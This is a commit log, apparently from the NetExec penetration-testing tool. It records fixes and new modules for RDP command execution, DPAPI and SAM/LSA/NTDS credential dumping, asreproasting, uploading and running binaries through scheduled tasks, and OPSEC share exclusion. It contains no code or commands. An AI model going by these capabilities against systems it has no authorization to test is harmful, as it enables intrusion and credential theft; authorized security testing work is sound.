Alex 9829b08628 Merge pull request #463 from Dfte/SMB]-Add-the-recyclebin-module
Add option to  --spider and add recyclebin.py module
2025-05-15 19:09:11 +02:00
Alexander Neff 0391e813a7 Linting 2025-05-15 13:06:46 -04:00
Alexander Neff 6cf11e8338 Rename no_print_result to silent in args as well 2025-05-15 13:03:58 -04:00
Alexander Neff d769bc9983 Rename no_print_result to silent and improve readability 2025-05-15 13:01:20 -04:00
Alexander Neff 951ad25d95 Improve readability of the download logic 2025-05-15 12:55:22 -04:00
Alexander Neff dbfb0d8282 Formatting 2025-05-15 12:55:04 -04:00
Alexander Neff 2ec56d1432 Make sure we continue with other users when one user fails 2025-05-15 12:30:19 -04:00
Alexander Neff 6c68d41612 Formatting 2025-05-15 12:29:43 -04:00
Alexander Neff 6d5ce45422 Move remote_ops.finish to end so we have the remoteops available 2025-05-15 12:29:06 -04:00
Alexander Neff 6bee36f2af Formatting 2025-05-15 12:12:55 -04:00
Alex f7f343e0eb Merge branch 'main' into SMB]-Add-the-recyclebin-module 2025-05-15 18:10:37 +02:00
Alexander Neff 6a7871e57e Formatting 2025-05-15 11:56:30 -04:00
Alexander Neff c8849ea062 Fix SyntaxWarnings due to regex 2025-05-15 11:24:03 -04:00
Alex 2b5968f2b6 Merge branch 'main' into main 2025-05-15 17:20:01 +02:00
Mickey De Baets 31995e0c67 Merge branch 'main' into main 2025-05-15 16:52:50 +02:00
Alex 4f028ea9b8 Merge pull request #686 from Pennyw0rth/neff-fix-mssql-module
Automatically preserve state of "advanced options" on the target
2025-05-13 19:32:30 +02:00
Alexander Neff 4d8583e443 Remove boilerplate 2025-05-13 13:25:22 -04:00
Alexander Neff 5d3955b6bc Formating 2025-05-13 13:10:59 -04:00
Alexander Neff 859553fb33 Automatically preserve state of "advanced options" on the target 2025-05-13 13:06:40 -04:00
Xed 02b1361c85 Merge branch 'main' into drop_library_ms 2025-05-12 10:16:57 +02:00
Alex b243ee8748 Merge pull request #682 from Pennyw0rth/neff-ldap-disable-signing 2025-05-10 12:00:00 +02:00
Alex 35c39c1c8e Merge pull request #681 from Pennyw0rth/neff-fix-db-schema
Add a check if the database scheme contains the unique attribute
2025-05-09 17:58:10 +02:00
Alexander Neff 68367ef529 Disable signing in ldap temporarely 2025-05-09 10:33:33 -04:00
Alexander Neff f335cd7654 Formatting 2025-05-09 10:21:20 -04:00
Alexander Neff 94115123f6 Add a check if the database scheme contains the unique attribute 2025-05-09 10:19:21 -04:00
emre 9f9ed93e7f Update presence.py 2025-05-09 01:36:05 +03:00
Mickey De Baets 5c7888c416 Added share exclusion functionality
Added --exclude-shares arg to not scan shares (e.g., ADMIN$ and C$) for OPSEC improvement
2025-05-08 22:07:26 +02:00
Adam Hassan b2a450916b Merge branch 'main' into rdp-exec 2025-05-07 23:12:30 -04:00
termanix c87d0c206b integrated enum_trusts 2025-05-07 15:06:44 -04:00
termanix 602498f09c Merge branch 'Pennyw0rth:main' into dc-list 2025-05-07 13:46:56 -04:00
mpgn 413e5eb51a Merge pull request #662 from Pennyw0rth/cleanup
remove old server code unused
2025-05-07 17:16:45 +02:00
Alex 3209e523a5 Merge pull request #677 from Pennyw0rth/neff-fix-ldap-kerb-dom-trust
Fix domain trust with kerberos in ldap
2025-05-07 17:12:20 +02:00
Alexander Neff 7bda89661b Remove unused variable 2025-05-07 11:11:52 -04:00
Alexander Neff abda35be65 Remove on_shutdown in connection.py 2025-05-07 11:09:48 -04:00
Alexander Neff 7cd990f920 Remove old module server stuff 2025-05-07 11:06:32 -04:00
Alexander Neff 4d68843057 Remove on_shutdown from modules 2025-05-07 10:56:47 -04:00
Alexander Neff a12c6422ce Fix domain trust with kerberos in ldap 2025-05-07 10:40:17 -04:00
mpgn 196d9fa6d9 Merge branch 'main' into cleanup 2025-05-07 16:09:37 +02:00
mpgn 5efa2c3299 Update example_module.py
Signed-off-by: mpgn <[email protected]>
2025-05-07 16:09:17 +02:00
mpgn 5b6d00ed90 Update connection.py
Signed-off-by: mpgn <[email protected]>
2025-05-07 16:08:21 +02:00
Adam Hassan 5930d2d9af exit cmd.exe after running commands 2025-05-07 03:03:14 -04:00
Adam Hassan 03c52432b5 remove erroneous vars and code relating to old no-output argument 2025-05-07 03:02:29 -04:00
Adam Hassan 6659976b25 remove no-output argument bc no output from rdp via screen 2025-05-07 02:58:08 -04:00
Adam Hassan e1f84377ac remove codec argument bc no output from rdp via screen 2025-05-07 02:57:09 -04:00
Adam Hassan 05492ff6a1 add new e2e commands for rdp execute 2025-05-07 02:52:40 -04:00
Adam Hassan 7ec74ddb05 screenshot before exit when executing commands via rdp 2025-05-07 02:44:40 -04:00
Adam Hassan 9a12116be3 cmd.exe now working and win+r used to open terminal 2025-05-07 02:17:13 -04:00
Adam Hassan 767e26e6e2 powershell over rdp mostly working with aardwolf
cmd not working atm
TODO: Figure out best way to start terminal
TODO: Add --screenshot functionality to see command output
2025-05-07 01:21:40 -04:00
Adam Hassan e56e97c578 add initial execute_cmd using aardwolf keyboard 2025-05-07 00:40:42 -04:00
Adam Hassan 7531bf62d5 add initial rdp exec code based on winrm 2025-05-07 00:26:38 -04:00
Xed 81d07952b9 Merge branch 'main' into drop_library_ms 2025-05-05 19:52:55 +02:00
termanix 7fdca67833 Merge branch 'main' into dc-list 2025-05-05 08:29:05 -04:00
termanix 171c79fde1 Merge branch 'main' into notepad 2025-05-05 08:27:24 -04:00
Alex c19841398f Merge pull request #512 from KriyosArcane/main
New change-password module.
2025-05-04 12:06:31 +02:00
termanix a083405335 Merge branch 'Pennyw0rth:main' into dc-list 2025-05-04 04:07:26 -04:00
FaganAfandiyev f3f27976cf Add e2e_commands.txt tests 2025-05-03 17:33:20 -04:00
Alexander Neff 887ecdd8a7 Refined options examples and formating 2025-05-03 17:26:52 -04:00
Alexander Neff 5f34e563b6 Refactor change-password module to allow set NEWNTHASH 2025-05-03 17:22:05 -04:00
Alex 6aa7d6a114 Merge pull request #668 from Dfte/main
Upgrade the schtask_as module so that we can upload binaries and execute them
2025-05-03 19:22:41 +02:00
Alexander Neff bb36b6d5e6 Only right trim to preserve indentation on certain output 2025-05-03 13:20:08 -04:00
Alexander Neff 362d373c21 Add examples to options and formating 2025-05-03 13:18:28 -04:00
mpgn a47431cbfd fix hostname info if no ntlm 2025-04-29 14:20:16 +02:00
mpgn 3ff6479795 better output 2025-04-29 08:41:09 +02:00
mpgn cc09aefbb9 more simple code 2025-04-29 01:03:17 +02:00
mpgn 2e254396b5 simple update 2025-04-29 00:41:53 +02:00
mpgn 8b2135a7b1 simple update 2025-04-29 00:40:24 +02:00
mpgn 1452068944 simple update 2025-04-29 00:39:37 +02:00
mpgn 9dc029847a fix ldap simple auth 2025-04-29 00:12:19 +02:00
Alex 9890316802 Merge pull request #669 from Pennyw0rth/neff-update-pylnk3 2025-04-28 22:52:57 +02:00
Alexander Neff f3e161597d Update pylnk3 to remove debug print 2025-04-28 15:23:11 -04:00
Aurélien CHALOT 102213771f Upgrade the schtask_as module so that we can upload binaries and then execute them 2025-04-28 14:30:09 +02:00
Xed ba7d5223b8 Merge branch 'Pennyw0rth:main' into drop_library_ms 2025-04-28 05:00:33 +02:00
Alex 6a2874e804 Merge pull request #667 from Pennyw0rth/neff-fix-mssql 2025-04-27 19:56:02 +02:00
Alexander Neff 207b7da461 Fix empty domain string 2025-04-27 13:17:56 -04:00
Alexander Neff 6dcbb02a02 Use process password for kerb login failure 2025-04-27 11:55:27 -04:00
Alexander Neff 6bf72192c4 Formating 2025-04-27 11:53:51 -04:00
Alexander Neff 5e9e06b1a1 Formating 2025-04-27 10:10:10 -04:00
Alexander Neff 17ef18edd0 Formating and logging change 2025-04-27 10:06:05 -04:00
Alexander Neff 0be367b8aa Improve options 2025-04-27 10:05:52 -04:00
Alexander Neff 059d241727 Restrict returning true on STATUS_PASSWORD_MUST_CHANGE to only the module 2025-04-27 10:05:15 -04:00
Alex f5dc9ea8c6 Merge pull request #665 from Pennyw0rth/neff-fix-pfs-win
Fix pfx output path on windows
2025-04-27 14:58:15 +02:00
Alex b35e1956af Don't replace C: in the path 2025-04-27 14:39:26 +02:00
Xed 29ced36cde Merge branch 'main' into drop_library_ms 2025-04-27 13:28:02 +02:00
termanix a517be8355 Merge branch 'Pennyw0rth:main' into dc-list 2025-04-27 06:26:38 -04:00
mpgn 47b54c838e fix ruff 2025-04-27 10:19:14 +02:00
mpgn fad24dbb42 Merge branch 'main' into cleanup 2025-04-27 10:18:25 +02:00
mpgn fd86652121 more clean 2025-04-27 10:17:52 +02:00
mpgn 848da44f75 Merge pull request #663 from Pennyw0rth/ippsec_video
Fix bunch of stuff from ippsec and 0xdf writeup for vintage box
2025-04-27 10:13:50 +02:00
termanix b7b454e725 Update ldap.py
Signed-off-by: termanix <[email protected]>
2025-04-27 07:55:47 +03:00
termanix b8dfb52802 took the old branch, it was fixed.
Signed-off-by: termanix <[email protected]>
2025-04-27 07:49:27 +03:00
termanix 981ad11b86 Merge branch 'main' into dc-list
Signed-off-by: termanix <[email protected]>
2025-04-27 00:46:47 -04:00
termanix e993fbd0fc Refactored to enforce direct attribute access, preventing misleading classifications and improving error handling. 2025-04-27 00:36:33 -04:00
termanix c1a0f140e1 Thought, would implement it with netlogon but not have time for now, maybe later lol 2025-04-27 00:36:33 -04:00
Alexander Neff 23769d7755 Remove unnecessary try&except block and display trust domains we are skipping 2025-04-27 00:36:33 -04:00
Alexander Neff bab540d734 Add missing trust_type_text value, ref: MS-ADTS 2025-04-27 00:36:33 -04:00
termanix 3af68e3f9d Now check trusted domains DCs 2025-04-27 00:36:33 -04:00
Alex 9196c3216a Fix pfx output path on windows 2025-04-27 02:03:44 +02:00
Alex c34c581b0f Merge pull request #658 from nikaiw/fix_host_duplicate
Update database.py
2025-04-27 01:35:59 +02:00
Alex e61799ad9c Merge pull request #660 from n00py/patch-1
Added more AV Signatures
2025-04-27 01:35:42 +02:00
mpgn 26588a490e fix ruff 2025-04-27 00:36:30 +02:00
mpgn d016fb61fd make nxc compatible with bloodhound-ce 2025-04-27 00:35:16 +02:00
mpgn 61277c889b fix ruff 2025-04-26 20:44:16 +02:00
mpgn 913a71314f fix a bunch of stuff from vintage box on HTB 2025-04-26 20:43:35 +02:00
mpgn 15d100205b fix ruff 2025-04-26 19:24:19 +02:00
mpgn de4171e11e remove old server code unused 2025-04-26 19:22:13 +02:00
n00py d80c8e0b45 Update enum_av.py
Added a few more signatures for Trend Micro monitoring, one for Rapid7 Insight Agent, and some for Ivanti Security 

Signed-off-by: n00py <[email protected]>
2025-04-25 13:30:26 -06:00
NK 02f4439680 Update database.py
Signed-off-by: NK <[email protected]>
2025-04-25 10:29:55 +02:00
NK c5db5478d1 Update database.py
prevent duplicate host insert

Signed-off-by: NK <[email protected]>
2025-04-24 20:09:25 +02:00
XedSama 8b6df3494a Fix NAME option and adding e2e tests 2025-04-24 14:05:31 +02:00
XedSama 34066da22b Better description and new link for documentation 2025-04-24 13:28:51 +02:00
XedSama 54cadbd567 Fix encoding and xmlns property 2025-04-24 13:26:17 +02:00
XedSama 63e9e54e69 Uploading/Cleaning libms file on writable share 2025-04-24 13:13:17 +02:00
XedSama 745de4908a Fix lms_name 2025-04-24 12:38:41 +02:00
XedSama dc4030aad2 Basic module structure 2025-04-23 21:26:46 +02:00
D4ytox d51fc3f095 Fix . missing from classic path 2025-04-20 16:18:29 +01:00
D4ytox 46c16213f9 Remove the use of XDG_DATA_HOME 2025-04-20 15:17:28 +01:00
D4ytox 8deb2f9924 Use nxc as the folder name for XDG_DATA_HOME as well 2025-04-20 15:09:52 +01:00
D4ytox 0abadb062b Make XDG_CONFIG_HOME append nxc afterwards and XDG_DATA_HOME append nxc_data 2025-04-20 15:03:12 +01:00
D4ytox ff1ce969f9 Use XDG_CONFIG_HOME and XDG_DATA_HOME if set by user 2025-04-20 14:49:25 +01:00
Alex 9668cbce36 Merge pull request #650 from moscowchill/fix-windows-log-path-f332071
fix: Refactor output file path construction in SMB protocol
2025-04-20 02:08:29 +02:00
Marshall Hallenbeck bc712c84ef Merge branch 'main' into main 2025-04-19 09:13:52 -04:00
D4ytox 64cce9572f Fix path imports to be grouped with other imports 2025-04-18 15:55:30 +01:00
moscowchill a1a1be66ae Refactor output file path construction in SMB protocol
- Updated the output file template to use os.path.join for improved OS compatibility.
- Enhanced readability by separating base log directory and filename pattern construction.
2025-04-18 07:02:24 -07:00
D4ytox 88997c33a8 Fix ruff findings 2025-04-18 14:37:35 +01:00
D4ytox bf202a23f1 Merge the two import statements together 2025-04-18 14:31:14 +01:00
D4ytox d40a1c84d2 Fix unecessary expand_user in context.py 2025-04-18 14:27:06 +01:00
D4ytox 5fc5922bf2 Use WORKSPACE_DIR in netexec.py 2025-04-18 14:17:32 +01:00
D4ytox 41a9345927 Use CONFIG_PATH in config.py 2025-04-18 14:17:32 +01:00
D4ytox ca7408fd4d Use TMP_PATH in smb.py 2025-04-18 14:17:32 +01:00
D4ytox 95c11aa434 Use NXC_PATH,CONFIG_PATH in context.py 2025-04-18 14:17:32 +01:00
D4ytox 5f25e25d26 Use NXC_PATH in spider_plus.py 2025-04-18 14:17:32 +01:00
D4ytox 4c515414e2 Use NXC_PATH in get_netconnections.py 2025-04-18 14:17:32 +01:00
D4ytox dc00beab39 Use NXC_PATH in enum_dns.py 2025-04-18 14:17:32 +01:00
D4ytox f16616eeb6 Use CONFIG_PATH in database.py 2025-04-18 14:17:32 +01:00
D4ytox 2e50996ae5 Use TMP_PATH in wmiexec.py 2025-04-18 14:17:32 +01:00
D4ytox a3920da302 Use TMP_PATH in mmcexec.py 2025-04-18 14:17:32 +01:00
D4ytox b8d5ede6f5 Use TMP_PATH in atexec.py 2025-04-18 14:17:32 +01:00
D4ytox 0e370152b8 Use NXC_PATH in wmi.py 2025-04-18 14:17:32 +01:00
D4ytox 038fe52e8c Use NXC_PATH in winrm.py 2025-04-18 14:17:32 +01:00
D4ytox 4174dd9313 Use NXC_PATH in vnc.py 2025-04-18 14:17:32 +01:00
D4ytox f295dcf5f5 Use NXC_PATH in rdp.py 2025-04-18 14:17:32 +01:00
D4ytox d6e8cad817 Use NXC_PATH in ldap.py 2025-04-18 14:17:32 +01:00
D4ytox fb7ca1dac0 Use TMP_PATH in keepass_trigger.py 2025-04-18 14:17:32 +01:00
D4ytox 314c3675ef Use NXC_PATH in get-network.py 2025-04-18 14:17:32 +01:00
D4ytox bc12c96492 Use NXC_PATH in protocolloader.py 2025-04-18 14:17:32 +01:00
D4ytox 7d08340d29 Use NXC_PATH in logger.py 2025-04-18 14:17:32 +01:00
D4ytox d814e2cc2c Use NXC_PATH in netexec.py 2025-04-18 14:17:31 +01:00
c4pit0ch3f 633cec1dc9 added support for LDAP simple auth 2025-04-17 15:08:11 +02:00
Alex 024ff0ab03 Merge pull request #645 from bandrel/nfs-fstring-bug
Update nfs.py
2025-04-14 14:58:31 -04:00
Alexander Neff 3ebec370ec Add missing single quotes around slash 2025-04-14 14:50:30 -04:00
Justin Bollinger bead78abae Update nfs.py
fixed syntax error for fstring that was causing it to crash

Signed-off-by: Justin Bollinger <[email protected]>
2025-04-14 13:02:36 -04:00
Alex 5e08f53b72 Merge pull request #644 from Pennyw0rth/neff-fix-binary-workflow
Add missing Pillow package to binary workflow
2025-04-13 16:18:27 +02:00
Alexander Neff 0517c70e0e Add missing Pillow package to binary workflow 2025-04-13 10:13:41 -04:00
Alex 806e4c73b2 Merge pull request #643 from Pennyw0rth/v1.4.0
Add CODENAME for release v1.4.0
2025-04-13 15:53:12 +02:00
Alexander Neff a73624aa5c Add CODENAME for release v1.4.0 2025-04-13 09:48:33 -04:00
Alex af743bf517 Merge pull request #642 from Pennyw0rth/neff-parse-uuids
Add sid parsing directly to the ldap attribute parser
2025-04-13 14:05:22 +02:00
Alexander Neff d5bd57dd94 Add sid parsing directly to the ldap attribute parser 2025-04-13 07:21:24 -04:00
Alex 6c30f3b611 Merge pull request #641 from exploide/completions
completions: no not complete options without entering `-` first
2025-04-13 13:18:00 +02:00
exploide b0ccbba947 completions: no not complete options without entering - first
additionally, this commit makes activate-global-python-argcomplete work
2025-04-13 11:21:04 +02:00
Alex 0b1a4e452a Merge pull request #640 from Pennyw0rth/neff-add-gmsa-readPrincipal
Add read principal to GMSA
2025-04-12 20:23:20 +02:00
Alexander Neff 47e40928b7 Add read principal of gmsa 2025-04-12 14:12:18 -04:00
Alex bf37152d3f Merge pull request #471 from termanix/patch-7
Update ldap.py for parse_result_attributes
2025-04-12 20:10:55 +02:00
Alexander Neff 5e400fb4b6 Fix GMSA account not showing for user without read privs 2025-04-12 12:32:35 -04:00
Alexander Neff 2540ca91b4 Refactor gmsa functions 2025-04-12 11:54:34 -04:00
Alexander Neff a4931816d9 Replace create_conn_obj parsing 2025-04-12 08:38:07 -04:00
Alex 5509c6b018 Merge pull request #638 from Pennyw0rth/neff-fix-rid-brute
Catch rpc error nca_s_op_rng_error when method is not implemented
2025-04-12 14:32:03 +02:00
Alex c9d9e49068 Merge pull request #639 from Pennyw0rth/neff-fix-desc-module
Fix encoding issue in get-desc-user
2025-04-12 14:31:55 +02:00
Alexander Neff 13c554bce5 Show only user objects with admincount 2025-04-12 08:17:19 -04:00
Alexander Neff c5bf67abc0 Fix asreproast only returning one user 2025-04-11 21:16:17 -04:00
Alexander Neff eae7ed544f Use parsed resp for counting results 2025-04-11 21:10:25 -04:00
Alexander Neff 1dc56bfaca Clean up --kerberos 2025-04-11 20:54:07 -04:00
Alexander Neff 92f4435b4b Massively trim down logic of admin_count as most of it isn't used 2025-04-11 20:53:51 -04:00
Alexander Neff c47df0842c Massively trim down logic of password_not_required as most of it isn't used 2025-04-11 20:04:33 -04:00
Alexander Neff 373232dea9 Massively trim down logic of trusted_for_delegation as most of it isn't used 2025-04-11 19:55:24 -04:00
Alexander Neff 8b27ec57ae Massively trim down logic of asreproast as most of it isn't used 2025-04-11 19:44:45 -04:00
Alexander Neff 09ec961d04 Linting 2025-04-11 19:21:18 -04:00
Alexander Neff 0dcc51b106 Make use of format strings and fix english 2025-04-11 19:21:05 -04:00
Alexander Neff 96eda79ab8 Merge branch 'main' into patch_ldap_parsing 2025-04-11 18:48:51 -04:00
Alexander Neff 9cb9fe7728 Fix encoding issue in get-desc-user 2025-04-11 17:17:18 -04:00
Alexander Neff 385715440c Catch rpc error nca_s_op_rng_error when method is not implemented 2025-04-11 12:05:19 -04:00
Alex 5a786487b6 Merge pull request #637 from Pennyw0rth/neff-fix-ldap-hashauth 2025-04-10 10:34:06 +02:00
Alexander Neff dcf7e97470 Fix ldap hash auth with signing enforced 2025-04-09 20:02:51 -04:00
Alex 8cad72623e Merge pull request #636 from termanix/kerb-fix 2025-04-09 09:19:01 +02:00
Alexander Neff 47960d14c3 Move ccache check to enum_host to respect kdcHost logic (must stay empty in domain trust auth) 2025-04-08 18:31:11 -04:00
termanix 531b760fb6 Merge branch 'main' into kerb-fix 2025-04-08 15:40:29 -04:00
Alex 4e4dfae633 Merge pull request #633 from termanix/update-dpapi
SMB DPAPI Now Store Results, Issue  #632
2025-04-08 21:37:35 +02:00
termanix aa943aa08e ccache as default and setted if self.args.domain 2025-04-08 15:08:57 -04:00
Alexander Neff 725b1df643 Replace hardcoded nxc path with NXC_PATH 2025-04-08 15:02:24 -04:00
Alexander Neff 652558309d Move all lsa/sam/ntds/dpapi output files into seperate folders 2025-04-08 14:43:34 -04:00
termanix b32f95bcbc Takes domain value from ccache file Default principal 2025-04-08 14:02:51 -04:00
Alexander Neff f6c22db7be Remove null bytes from dpapi output 2025-04-08 09:33:29 -04:00
termanix 518f7d4078 ruff fix 2025-04-07 09:00:44 -04:00
Alex 27f58aee79 Merge pull request #634 from Pennyw0rth/neff-fix-ldap-baseDN
Fix the baseDN for admin_check for custom baseDN
2025-04-07 14:52:21 +02:00
Alexander Neff 7755d05431 Linting 2025-04-07 08:21:52 -04:00
Alexander Neff a24e1327ac Fix admin_check if a different baseDN was specified 2025-04-07 08:21:33 -04:00
termanix 13c02f4524 Saving dpapi results like sam, lsa, ntds, etc. 2025-04-07 07:59:18 -04:00
Alex 98062cb345 Merge pull request #630 from Pennyw0rth/neff-remove-firefox
Remove firefox module in favour of --dpapi which includes firefox
2025-04-03 21:03:56 +02:00
Alexander Neff 826dec4a89 Merge branch 'main' into neff-remove-firefox 2025-04-03 14:54:38 -04:00
Alexander Neff d5737c61b1 Remove firefox module in favour of --dpapi which includes firefox 2025-04-03 14:48:54 -04:00
Alexander Neff bcf6b37eaf Use context manager for files and improve code 2025-04-03 14:41:55 -04:00
Alexander Neff eb88dc5423 Rename ElementTree to ET for consistency 2025-04-03 14:41:29 -04:00
Alexander Neff a4bdf2b174 Mostly ignore firefox because it will be removed anyway 2025-04-03 14:24:09 -04:00
Alexander Neff 2f63732f00 One liner return values and format strings 2025-04-03 14:23:43 -04:00
Alexander Neff 1520f3cbd4 Remove unnecessary code and format string 2025-04-03 14:02:29 -04:00
Alexander Neff 768a401019 Leaving as is for readability 2025-04-03 14:02:07 -04:00
Alexander Neff 4255cab29d Adding exceptions for false positives 2025-04-03 13:57:22 -04:00
Alexander Neff f386434ce5 Lint daclread 2025-04-03 13:49:54 -04:00
Alexander Neff 67abbf8bf3 Disable RUF052, these are considered private not dummy 2025-04-03 13:38:28 -04:00
Alexander Neff 542452accb Apply C419, removing unnecessary list comprehensions 2025-04-03 13:26:38 -04:00
Alexander Neff bde58c4e56 Apply SIM401, use .get() over 'x if x else y' 2025-04-03 13:19:08 -04:00
Alexander Neff 89233700b6 Disable A004, as it complains about sys.exit which supposes to be superior in programs 2025-04-03 13:16:43 -04:00
Alexander Neff 42538e4c89 Disable false positive 2025-04-03 13:16:13 -04:00
Alexander Neff 52008c1b25 Remove unnecessary cast to int 2025-04-03 12:30:38 -04:00
Alexander Neff ae6721aa9a Remove all FURB rules, makes code more complicated 2025-04-03 12:27:35 -04:00
Alexander Neff a42c664326 Autofix with ruff 2025-04-03 12:22:06 -04:00
Alexander Neff 5782352622 Remove rule which converts 'x if x else y' and deletes unused variables 2025-04-03 12:19:38 -04:00
Alexander Neff 1289a0e025 Enable preview mode as recommended in our doc guidelines 2025-04-03 12:10:49 -04:00
Alexander Neff dc415e75e4 Fixed string concatination that is only available in py3.12+ 2025-04-03 12:04:21 -04:00
Alexander Neff 61e2e58e50 Fix UP031, remove percent string replacements 2025-04-03 12:01:33 -04:00
Alexander Neff 66e9927c3e Fix UP031, remove percent string replacements 2025-04-03 11:57:47 -04:00
Alexander Neff 31373e4cac Don't check for D413, missing-blank-line-after-last-section 2025-04-03 11:02:14 -04:00
Alexander Neff f4ad70635a Fix LOG015 and replace all calls to root logger 2025-04-03 11:01:27 -04:00
Alex 5a71b62acc Merge pull request #628 from Pennyw0rth/neff-fix-exec-output
Fix left handside indent from exec output
2025-04-03 16:16:55 +02:00
Alexander Neff 2c29856d92 Update ruff settings declaration to reflect latest recommendations 2025-04-03 09:59:53 -04:00
Alexander Neff b35cfe0671 Update ruff settings declaration to reflect latest recommendations 2025-04-03 09:46:28 -04:00
Alexander Neff 351979375b Update ruff to latest version 2025-04-03 09:45:31 -04:00
Alexander Neff d5978062ff Allow linting pipeline to run on review submittions like the test pipeline 2025-04-03 09:27:03 -04:00
Alexander Neff 1248552ef8 Linting 2025-04-03 09:00:33 -04:00
Alexander Neff ecad15e85a Fix left handside indent from powershell output 2025-04-03 08:44:51 -04:00
Alex 6fcfb8d031 Merge pull request #450 from Dfte/SMB]-ADd-the-recent_files-module
[SMB] Add the recent_files module
2025-04-02 01:35:22 +02:00
Alexander Neff f00c835c09 Merge branch 'main' into recent-files 2025-04-01 19:30:38 -04:00
Alexander Neff 0cdd60a60f Add no options text 2025-04-01 19:21:05 -04:00
Alex 99fe618dbd Merge pull request #625 from jdholtz/smb-cmdexec-improvements
smb: Prevent infinite loops handling an unknown error retrieving command output
2025-04-01 23:35:37 +02:00
Alex 677e25485b Merge pull request #626 from noraj/patch-1 2025-04-01 00:53:58 +02:00
Alexandre ZANNI 2747f1efd8 remove pywerview from spec
Signed-off-by: Alexandre ZANNI <[email protected]>
2025-04-01 00:43:53 +02:00
jdholtz 3897ceeb0a smb: Prevent infinite loops handling an unknown error retrieving command output
When an error like 'Broken pipe' occurs while trying to read the output
file from a command, the number of tries is not incremented, causing an
infinite loop fetching the output file (if this error keeps happening).
Now, the number of tries is incremented in this case. Also, the debug
messages were slightly improved to be more clear when failing to
retrieve output.
2025-03-31 11:38:34 -07:00
Alex f31fb4f098 Merge pull request #622 from Pennyw0rth/neff-fix-winscp
Improve WinSCP module
2025-03-30 15:23:04 +02:00
Alexander Neff a2b336d94a Remove command execution to enumerate local users and improve error handling 2025-03-30 09:14:58 -04:00
Alex 4ae32a73cd Merge pull request #602 from haytechy/output_users 2025-03-28 14:10:57 +01:00
Alexander Neff 37efce100a Fix logic when checking if args where specified and improve help text 2025-03-27 20:02:43 -04:00
Alexander Neff 75eecab8ed Convert --users-export to the same structure as in ldap 2025-03-27 19:52:48 -04:00
Alexander Neff a449284d20 Fix logic for debug output when user is specified 2025-03-27 19:41:42 -04:00
Alexander Neff 4eae4a2dd8 Make help description more precise 2025-03-27 19:39:51 -04:00
Alexander Neff 718b9fe4b6 Change variable name for export path and display export info line only when specified 2025-03-27 19:38:02 -04:00
Alex 2d3e1be1ab Merge pull request #620 from Pennyw0rth/spec-file
Fix spec file
2025-03-27 15:13:43 +01:00
Alex a0aaf1ad12 Merge pull request #619 from Pennyw0rth/neff-fix-putty
Add Error handling for loading users into registry
2025-03-27 15:13:32 +01:00
Alex 3318fa8ea2 Merge pull request #615 from Testeur-2-stylos/fix-smbv1-nxcdb
Update smb.py to test smbv1 connection before writing in nxcdb
2025-03-27 15:10:57 +01:00
Alexander Neff 71cfd4b347 Move logoff above smbv1 check 2025-03-27 09:49:23 -04:00
Alexander Neff 9c8e6f43ca Fix spec file 2025-03-27 09:40:46 -04:00
Alexander Neff 62ba3588ba Add Error handling for loading users into registry 2025-03-27 09:21:18 -04:00
Testeur_2_stylos 45f899219c Update smb.py to test smbv1 connection before writing in nxcdb
Signed-off-by: Testeur_2_stylos <[email protected]>
2025-03-26 10:16:54 +01:00
Kriyos 7b1f60d83d Merge branch 'Pennyw0rth:main' into main 2025-03-24 19:41:56 -04:00
Alex 8d0b4e3e7b Merge pull request #527 from lap1nou/fix-ldap-db
Added credential and host DB for LDAP protocol
2025-03-24 17:37:54 +01:00
Alexander Neff 52a28aa88d Formating 2025-03-24 12:32:54 -04:00
Alexander Neff ccf81517a4 Add db.add_creds for kerberos with SSL enforced 2025-03-24 12:23:50 -04:00
Alex 87a5c366df Merge pull request #611 from shikatano/pre2k-passwd-length
modified the password used in pre2k.py for machine names longer than …
2025-03-24 17:11:04 +01:00
Lou 4cd4dbbd83 modified the password used in pre2k.py for machine names longer than 14 characters 2025-03-23 12:14:42 -04:00
lap1nou 6b0cfcdea8 Added db_navigator stuff 2025-03-22 17:20:23 +01:00
lapinou 7146824299 Merge branch 'Pennyw0rth:main' into fix-ldap-db 2025-03-21 23:46:05 +01:00
Marshall Hallenbeck 6de62472ef Merge pull request #590 from Pennyw0rth/marshall-db-ip-fix
fix: check if an IP is being searched for when calling get_hosts
2025-03-21 10:48:50 -04:00
termanix 4fcc4fdce4 updated for killing notepad.exe process 2025-03-19 18:52:14 -04:00
termanix 7e23c1b318 e2e_commands.txt editted 2025-03-19 17:02:21 -04:00
termanix 4634473609 owner name 2025-03-19 16:56:53 -04:00
termanix c2437b2b9b New module add notepad 2025-03-19 16:47:23 -04:00
Marshall Hallenbeck f4fa975d36 fix: check if the table uses ip or host for hosts before adding 2025-03-19 16:19:02 -04:00
Marshall Hallenbeck 166df14514 Merge branch 'main' into marshall-db-ip-fix 2025-03-19 15:46:39 -04:00
Alex aa832c5f1a Merge pull request #606 from jdholtz/ldap-timeout
Silently handle connection timed out during LDAP scan
2025-03-19 16:00:24 +01:00
Alexander Neff 0aeb105bd8 Add ENETUNREACH if the targeted network is not reachable 2025-03-19 10:49:33 -04:00
jdholtz 3fa2c746d6 Silently handle connection timed out during LDAP scan 2025-03-18 16:47:12 -07:00
mpgn da8ef0f0fb Merge pull request #604 from Pennyw0rth/ntlm
Add information if ntlm disabled
2025-03-18 16:34:13 +01:00
mpgn 87c223ed5e Add information if ntlm disabled 2025-03-17 19:04:18 +01:00
mpgn 91c339ea30 Merge pull request #603 from Pennyw0rth/fix_host
fix 0x_df issue with hosts file
2025-03-17 16:48:10 +01:00
mpgn 0f1c2f933b fix extra space 2025-03-17 15:55:33 +01:00
mpgn 450f1b2a89 fix extra space 2025-03-17 15:51:34 +01:00
mpgn 7723e74b30 fix 0x_df issue with hosts file 2025-03-17 15:40:56 +01:00
haytehcy 69baa8c133 Merge branch 'output_users' of https://github.com/haytechy/NetExec into output_users 2025-03-16 17:19:58 +00:00
haytehcy 7d8d1dbd2d Changed writelines to write on new lines 2025-03-16 17:19:29 +00:00
Alex 0892e066e4 Merge branch 'Pennyw0rth:main' into output_users 2025-03-16 15:50:57 +00:00
Alex ea77ad9a4e Merge pull request #597 from Pennyw0rth/neff-bug-fixes 2025-03-16 11:16:27 +01:00
mpgn cbcdf3acd3 Merge pull request #599 from Pennyw0rth/regsecret 2025-03-16 09:29:17 +01:00
haytehcy 8a35848474 Minor tweak/fixes to output users 2025-03-16 07:32:21 +00:00
Alexander Neff 1145cfe15f Make bool check a bit more explicit 2025-03-15 20:02:38 -04:00
haytehcy d6600d5f7c Minor tweak/fixes 2025-03-15 23:36:12 +00:00
haytehcy 0acdbbe345 Added Users Export 2025-03-15 23:20:29 +00:00
mpgn 1fe387e8f9 Merge branch 'main' into regsecret 2025-03-15 23:01:05 +01:00
